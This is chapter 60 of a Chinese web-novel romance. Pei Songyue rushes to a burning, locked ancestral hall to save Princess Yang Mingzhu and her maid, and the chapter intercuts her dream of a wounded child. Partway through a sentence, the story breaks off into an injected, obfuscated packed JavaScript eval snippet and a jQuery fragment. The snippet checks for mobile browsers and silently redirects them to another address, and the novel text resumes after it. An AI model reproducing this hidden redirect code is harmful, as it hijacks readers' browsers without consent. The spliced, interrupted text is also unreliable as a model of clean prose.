60. 着火
作品:《长公子每天都在阴暗爬行》 马车在寂静的夜里缓缓前行,车轮在平整的官道上发出沉闷的声音,听在裴松月的耳朵里却十分刺耳。
他忍不住掀开车帘,寒风刮了进来,带着刺骨的寒意,却也吹走了几分烦躁。
裴松月从胸口的衣襟里拿出一方手帕,那是先前杨明珠来找裴松雪玩花牌时落下的,他悄悄收了起来。每每内心焦灼,握着这方手帕他便能镇定下来。
今日不知怎的,看着这方熟悉的帕子,他心中的焦躁越来越甚。
这种情绪一直持续到他回到听竹小苑。
院子里的竹叶早已枯黄,掉落的叶子堆积在竹子根部。
洒扫的下人想把竹叶收集起来烧掉,被他阻止了。冬日干燥,若是肆意焚烧落叶,容易引起火灾。不如就这样搁置,让落叶归根。
裴松月听着门外风吹竹林的簌簌声,卧不安席,他披上外袍,想要出门走走。
不知何时,月亮已经完全消失在云层之后,夜空显得愈发漆黑,像是沉睡的巨兽。
今夜长信侯府里的人都去了静思堂,下人们也跟着去了。
冬日天寒,不当值的下人早早地回屋休息。
裴松月信步走在静谧的侯府,只觉得愈发心神不宁,仿佛有什么可怕的事即将发生,他却束手无策。
他漫无目的地走着,转过一个拐角,心脏突然一滞,而后剧烈地跳动起来,心里那股子焦灼像是突然有了发泄口一般,激的他骤然一痛。
裴松月不得不停下脚步,一手按着心口。
视线随着他的疼痛终于有了落脚点,突兀的火光闯进他的眼眸。
只见前方的院子火光冲天,在一片漆黑的角落显得十分突兀。
心中的焦灼越演越烈,裴松月来不及思考这种情绪因何而起,大步朝火光处奔去。
向来稳妥周全的裴氏长公子,全然忘记了这种时刻要先叫人来救火。
他只知道闷头向前跑,心底有个声音告诉他,快一些,再快一些。仿佛若是慢了一刻,他就会后悔终生。
越靠近院子,他好像听到了杨明珠的声音。
裴松月眉头紧皱,他幼时来过长信侯府,对侯府的布局隐约有些印象。借住侯府数月,他因忙于政务,并不曾重新四处转过,也不知现下的布局与记忆是否有出入。
及至院门前,屋檐上悬挂的赤色灯笼在黑暗中静静摇曳,像是巨兽的眼眸。借着昏黄的火光,他看到了“萧氏祠堂”四个大字。
裴松月的心猛然一沉,恰逢此刻,女子尖锐的求救声传入耳中。
“来人啊!救火啊!”
是杨明珠!即使情急之下她的声音变了腔调,裴松月还是立刻分辨出来。
“郡主!”裴松月大喝一声,“是我!”
他极力克制住声音中的颤抖,双手却无意识地去推门。
铁铸的门锁发出尖锐的碰撞声,裴松月深吸一口气,而后用尽全力,一掌劈上那道锁。
手掌被震得几乎失去知觉,裴松月后退几步,足尖轻点,而后跃上墙头。
火势在夜风的助威下愈发嚣张,熊熊烈焰仿佛要吞噬一切,祠堂内檀香混杂着烧焦的气味,令人窒息。
一路走过来,裴松月没有见到一个下人,竹心也被他留在听竹小苑。
此刻,他突然有些后悔。他从袖中掏出一只精巧的弩箭,毫不迟疑扣下机关,一只小巧的箭簇飞上夜空,尾部的火焰在夜空中划过一道弧线。
那是裴氏家主才有的信物,是裴氏集全族之力筹谋的底牌,连裴后都不知道。
顾不得这些,裴松月跳下墙头,飞奔至放置牌位的屋子前。
“郡主!郡主!是我!”裴松月边喊边观察眼前。
火应当是从内向外烧起来的,火光直冲天空,房顶已然被点燃,可房屋的四周却严丝合缝。
大门依旧是被锁的状态,裴松月顾不得酸痛的手掌,一脚踢上房门,门锁发出的碰撞声在噼里啪啦的燃烧声中轻不可闻。
侧面的窗子也被封死了,裴松月绕着屋子走了一圈,却陷入了死胡同,这屋子仿佛铜墙铁壁,没有钥匙,旁人进不去,里面的人也出不来。
求救的信物已经消失在天际,裴松月高声喊道:“郡主你还好吗?很快就有人来了。”
屋子里再没有传来杨明珠的声音,裴松月心下紧张,却不敢胡思乱想。
屋前的老槐树被火光照的若隐若现,隔着一小段距离,倒是逃过一劫。
裴松月深吸一口气,而后几步攀上槐树,及至与屋顶同高,灼热的气浪扑面而来,木头燃烧的噼啪声炸在耳边,上升的气焰逼得他几乎睁不开眼。
理智告诉他,他现在最该做的便是去叫人来救火,他已经发了求救信号,城内裴家的暗卫很快就会赶来。火势看着骇人,但房屋四周的墙壁还未引燃,杨明珠若是找准位置,撑个半炷香不成问题。
裴松月却等不得了,他再也不想把救人的希望寄托在别人身上,尤其等待被救的对象是杨明珠。
晴山睡着后,杨明珠在祠堂里四处寻找,尽管她不想往坏处想,可与上一世相同的场景让她惴惴不安,她不敢乱想,却又不得不瞒着一无所知的晴山,暗中做些准备。
她几乎翻遍了祠堂内的每一个角落,终于在供奉牌位的长案下找到一碗水。
那水不知道搁置了多久,凑近能闻到一股子陈腐的味道,颜色也是暗沉的棕黄。
这样一小碗水,杨明珠却如获珍宝,她小心翼翼地收好,而后与晴山靠在一起,带着难捱的饥饿陷入沉睡。
她做了一个梦,梦中她看见一个五六岁的小女孩,浑身脏兮兮的,总是梳着辫子插着漂亮发饰的头发也变得粗糙蓬乱,像是深秋的枯草。
身边的大汉一脸横肉,手上拿着竹条抽在她瘦小的身上。
“说!你是不是故意放走他的!”说话的是另一个大汉,他的脸上一道刀疤从眉心划至右耳,像一条可怕的蜈蚣,狰狞地在那人脸上耀武扬威。
即使在梦中,杨明珠依旧被那人触目惊心的长相吓了一跳,再看那个小女孩,仰着头与刀疤脸对视,目光坚韧又纯善,没有一丝害怕。
动手的大汉见状,立刻挥舞着手中的竹条,纤细却坚韧的竹条一下下落在小女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15031232|151226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孩柔嫩的皮肤上,很快渗出了血。
杨明珠感觉自己的身上也开始痛。
她睁开眼,两个大汉突然消失了,眼前只剩那个小女孩,她虚弱地躺在一片乱草上,空气里弥漫着浓郁的血气。
杨明珠看向女孩的右手手腕,与她相同的位置,早已血肉模糊。
她走近几步,颤抖的手想撕下衣袖给女孩止血,手却从女孩的手上穿过去了。
杨明珠又尝试了几次,却都以失败告终,她这才反应过来,自己是在梦里。
她低头查看女孩的伤口,皙白的手腕上皮肉翻开,露出鲜红的皮肉,伤口却是不规则的。
耳边,隐约可以听到大汉的对话:
“这小丫头居然咬破了手腕放血给那小子喝,忒不要命了!”
“遭了,她肯定是想帮那小子逃出去,然后去搬救兵。我们快走!”
杨明珠听得云里雾里,目光落在枯草上闭着眼睛的小女孩,她身上全是被竹条抽过的伤痕,伤口渗着血却没有处理,脸上是不正常的红晕,秀气的眉头紧紧皱起。
她的嘴巴动了动,杨明珠连忙俯身贴近。
“......你、一定要.....回来......救......”
“郡主您快醒醒!”晴山喊着杨明珠,一手拍她的脸。
杨明珠有一瞬间的恍惚,她看向自己的右手手腕,蜿蜒伤疤泛着冷光,让她不由得想起梦中的小女孩。
“郡主大事不好了,着火了!”晴山抬高了声音,将还未从方才的梦境中抽身的杨明珠叫醒。
杨明珠愣愣地看向眼前,原先放置灵位的地方被大火笼罩,木制的牌位不知为何被引燃,在大火中逐渐烧成灰烬。
火势蔓延的很快,悬挂于屋顶上用来装饰的帷幔也烧了起来,房梁很快也被引燃。火肆意舔舐着梁柱,木制结构的屋顶开始崩塌,发出噼啪的声响。
与上一世相同的场景让杨明珠有些恍惚,她像陷入梦魇一般,分不清眼前是真实还是梦境。
她颤抖地伸长了手,火舌舔过指尖,先前被长明灯烫伤的地方再一次经历烈火的烧灼,尖锐的刺痛让她猛然回神。
身后,晴山还在拼命拍门:“有人吗?有人吗!起火了!快救火啊!”
“郡主还在祠堂里!”
杨明珠拍了拍脸,让自己保持镇定。她看着晴山的背影,已经失去过一次了,这一次,她绝对不会让晴山死在她面前。
两人把四周的门窗全都试了一遍,却打不开任何一个。
熊熊大火像是一头金色的巨兽,张大了嘴巴,要将二人吞噬于此。
杨明珠用那碗水打湿了手帕,与晴山一人一块捂住嘴巴。
晴山力气大,她对着眼前的大门又踢又撞,以期能够打开大门,觅得一线生机,可那大门十分牢固。
很快,一日一夜未曾进食的晴山没了力气,杨明珠接过她仰倒的身子,小心地放在一个暂时安全的位置,用自己的身体撞向大门。
哐啷一声巨响,漫天火光中,一道碧色的身影从天而降。
“裴公子?”